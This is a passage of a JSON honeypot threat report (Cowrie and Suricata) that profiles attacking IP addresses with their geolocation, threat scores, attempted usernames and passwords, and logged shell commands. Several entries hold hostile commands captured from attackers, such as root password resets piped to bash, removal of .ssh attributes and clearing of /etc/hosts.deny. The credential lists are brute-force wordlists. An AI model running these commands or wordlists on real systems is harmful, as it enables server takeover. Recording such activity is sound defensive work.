      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T05:02:06.050000+00:00",
        "last_seen_30d": "2026-04-24T06:40:38.458000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 70
      }
    },
    "213.176.16.100": {
      "attack_count": 194,
      "first_seen": "2026-04-15T12:57:58.809Z",
      "last_seen": "2026-04-15T13:35:18.305Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "amir",
        "claude",
        "deploy",
        "flip",
        "maman",
        "marcus",
        "minecraft",
        "oracle",
        "steam",
        "test",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "1234",
        "11111",
        "1212312121",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc4rfv",
        "Cloud12#$",
        "L3tM31n!",
        "Login1",
        "Oracle!2025",
        "Root001@@",
        "Root111111$",
        "Root12!",
        "Ubuntu2",
        "asd123",
        "claude4",
        "debian",
        "flip",
        "marcus"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Ubuntu2\\n9qoX3FPMWiAK\\n9qoX3FPMWiAK\\n\"|passwd",
        "echo -e \"Ubuntu2\\n9qoX3FPMWiAK\\n9qoX3FPMWiAK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T12:57:58.809000+00:00",
        "last_seen_30d": "2026-04-15T13:36:25.897000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 61
      }
    },
    "116.110.12.66": {
      "attack_count": 192,
      "first_seen": "2026-04-10T01:16:03.391Z",
      "last_seen": "2026-04-10T01:31:58.385Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "1234",
        "123456",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "config",
        "guest",
        "matrix",
        "office",
        "open",
        "operator",
        "oracle",
        "plex",
        "squid",
        "strycek"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "1",
        "123456",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "administrator",
        "anton",
        "bin",
        "config",
        "guest",
        "htpcguides",
        "lifesize",
        "matrix",
        "nimda",
        "office",
        "open"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:16:03.391000+00:00",
        "last_seen_30d": "2026-04-10T01:33:05.118000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 101
      }
    },
    "1.214.255.210": {
      "attack_count": 188,
      "first_seen": "2026-04-12T10:49:57.374Z",
      "last_seen": "2026-04-12T11:34:50.668Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "vpn",
        "345gs5662d34",
        "admin",
        "ec2-user",
        "mysql",
        "opc",
        "postgres",
        "roman",
        "steam",
        "teste",
        "ubuntu2",
        "user",
        "user01",
        "vps"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "12345",
        "123456",
        "12345678",
        "1234rfv",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456G",
        "Admin2026!!",
        "Admin@2026",
        "P@ssw0rdz",
        "Paris2026",
        "Qwe1234@",
        "Root123123@",
        "a123456@",
        "admin9",
        "ec2",
        "postgresff",
        "steam31"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:o1h28ceYyFSJ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Songpa-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 249,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:49:57.374000+00:00",
        "last_seen_30d": "2026-04-12T11:35:51.443000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 61
      }
    },
    "165.154.5.188": {
      "attack_count": 173,
      "first_seen": "2026-04-02T11:16:34.402Z",
      "last_seen": "2026-04-02T12:25:06.788Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa01",
        "Ab+123",
        "Abc@2024",
        "Abcd6789",
        "Bcdef12345",
        "Huawei6789",
        "Ii1234!",
        "Jkl1234",
        "Login1",
        "Password0123",
        "QQ123!@#",
        "QQ@12345",
        "Qq2026",
        "Qqadmin",
        "Qwertyadmin123",
        "Root888",
        "Rootpassword",
        "abc@2023"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vc7lzA4K8sxG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:16:34.402000+00:00",
        "last_seen_30d": "2026-04-02T12:26:09.915000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 57
      }
    },
    "103.144.28.85": {
      "attack_count": 168,
      "first_seen": "2026-04-02T13:19:08.701Z",
      "last_seen": "2026-04-02T14:10:20.991Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123!@#zxc",
        "123456%",
        "1234Qwe",
        "1q2w3e4r5t!Q@W#E$R%T",
        "1qwasdzxcv",
        "3245gs5662d34",
        "345gs5662d34",
        "5202614z",
        "9023",
        "@Bcd1234",
        "Aa123456789.",
        "Bl@123456",
        "Mm@123456",
        "Password*1",
        "amir123456",
        "ggg@123",
        "instinct",
        "redhat@2024",
        "sayeiqw~eqiweqQEQWHI!@@12qw",
        "thanh@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yKAdbwI5cQ9B\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T13:19:08.701000+00:00",
        "last_seen_30d": "2026-04-02T14:11:25.231000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "74.87.117.147": {
      "attack_count": 168,
      "first_seen": "2026-04-02T08:35:55.067Z",
      "last_seen": "2026-04-02T09:45:06.218Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!1qaz@2wsx#3edc",
        "123!@#aa",
        "123456!",
        "12345678?",
        "1qaz!QAZ1",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc12345^&*",
        "Avatar",
        "Jt123456",
        "Nova@2026",
        "QAZWSX1234",
        "Server1!",
        "admin!!",
        "domain",
        "icon",
        "kenny",
        "mc123",
        "p@$$W0rd",
        "qaz112233"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:O8SbmDYgkuTm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Appleton",
      "asn": 10796,
      "as_org": "Charter Communications Inc",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:35:55.067000+00:00",
        "last_seen_30d": "2026-04-02T09:46:14.037000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "122.129.220.66": {
      "attack_count": 120,
      "first_seen": "2026-04-30T15:55:44.049Z",
      "last_seen": "2026-04-30T16:03:33.215Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": null,
      "asn": 56037,
      "as_org": "Escapenet Pty Ltd",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:55:44.049000+00:00",
        "last_seen_30d": "2026-04-30T16:04:33.952000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 63
      }
    },
    "116.99.170.219": {
      "attack_count": 112,
      "first_seen": "2026-04-15T15:24:18.984Z",
      "last_seen": "2026-04-15T15:31:42.496Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "ftp",
        "installer",
        "operator",
        "oracle",
        "squid",
        "sshd",
        "sync",
        "username"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "password",
        "123456",
        "@",
        "abcd1234",
        "admin01",
        "admin123",
        "admin@123",
        "alpine",
        "click1",
        "ftp",
        "installer",
        "operator",
        "oracle",
        "root",
        "squid",
        "sshd",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T15:24:18.984000+00:00",
        "last_seen_30d": "2026-04-15T15:32:50.342000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 49
      }
    },
    "222.247.32.186": {
      "attack_count": 98,
      "first_seen": "2026-04-27T01:08:02.386Z",
      "last_seen": "2026-04-27T01:55:08.518Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1@#QAZxsw2",
        "1qazASDF1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "Pa$$vord!@#",
        "Pass123123!@#",
        "aaazzz121",
        "alexa",
        "ch@ngethis",
        "demo1234",
        "eduard",
        "jbmeiyoua",
        "jxys1206",
        "mnbvcx",
        "qaz5202514",
        "root258",
        "salisbury",
        "sangfor@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:08:02.386000+00:00",
        "last_seen_30d": "2026-04-27T02:02:34.962000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 50
      }
    },
    "14.34.157.138": {
      "attack_count": 93,
      "first_seen": "2026-04-26T15:24:13.931Z",
      "last_seen": "2026-04-26T15:43:42.417Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#123wsx",
        "060606",
        "123!@#qweQWE",
        "12345qwer",
        "1988",
        "1Q2w",
        "1a2s3d4f5g6h7j",
        "3245gs5662d34",
        "345gs5662d34",
        "Maxwell1",
        "Pass@123",
        "Proba123",
        "Server@789",
        "alexander",
        "changem3",
        "cxzcxz",
        "zxczaq1"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T15:24:13.931000+00:00",
        "last_seen_30d": "2026-04-26T15:44:46.666000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 38
      }
    },
    "103.203.57.2": {
      "attack_count": 56,
      "first_seen": "2026-04-01T13:08:44.002Z",
      "last_seen": "2026-04-30T04:15:19.784Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:08:44.002000+00:00",
        "last_seen_30d": "2026-04-30T04:16:25.338000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 56
      }
    },
    "124.29.214.246": {
      "attack_count": 50,
      "first_seen": "2026-04-30T19:03:51.736Z",
      "last_seen": "2026-04-30T19:09:16.865Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:03:51.736000+00:00",
        "last_seen_30d": "2026-04-30T19:10:25.820000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "144.48.135.81": {
      "attack_count": 50,
      "first_seen": "2026-04-24T10:27:56.338Z",
      "last_seen": "2026-04-24T10:33:27.716Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T10:27:56.338000+00:00",
        "last_seen_30d": "2026-04-24T10:34:29.492000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.26.46": {
      "attack_count": 50,
      "first_seen": "2026-04-11T01:46:33.649Z",
      "last_seen": "2026-04-11T01:51:58.089Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T01:46:33.649000+00:00",
        "last_seen_30d": "2026-04-11T01:53:05.542000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "165.245.217.245": {
      "attack_count": 41,
      "first_seen": "2026-04-21T11:46:45.553Z",
      "last_seen": "2026-04-21T11:48:01.397Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T11:46:45.553000+00:00",
        "last_seen_30d": "2026-04-22T17:46:00.048000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 32
      }
    },
    "172.94.9.61": {
      "attack_count": 38,
      "first_seen": "2026-04-10T12:46:21.238Z",
      "last_seen": "2026-04-15T17:12:05.953Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "Kelltech2020",
        "Kelltech2021!",
        "Kelltech2021#",
        "Kelltech2022",
        "Kelltech2022!",
        "Kelltech2022#",
        "P@ssw0rd1"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:46:21.238000+00:00",
        "last_seen_30d": "2026-04-15T17:13:13.224000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "94.154.172.244": {
      "attack_count": 33,
      "first_seen": "2026-04-10T18:02:18.020Z",
      "last_seen": "2026-04-12T15:45:56.292Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1$Kelltech",
        "2026.kelltech",
        "Kelltech.2024",
        "Kelltech123#",
        "Kelltech2026.",
        "kelltech2025"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209101,
      "as_org": "IP Vendetta Inc.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T18:02:18.020000+00:00",
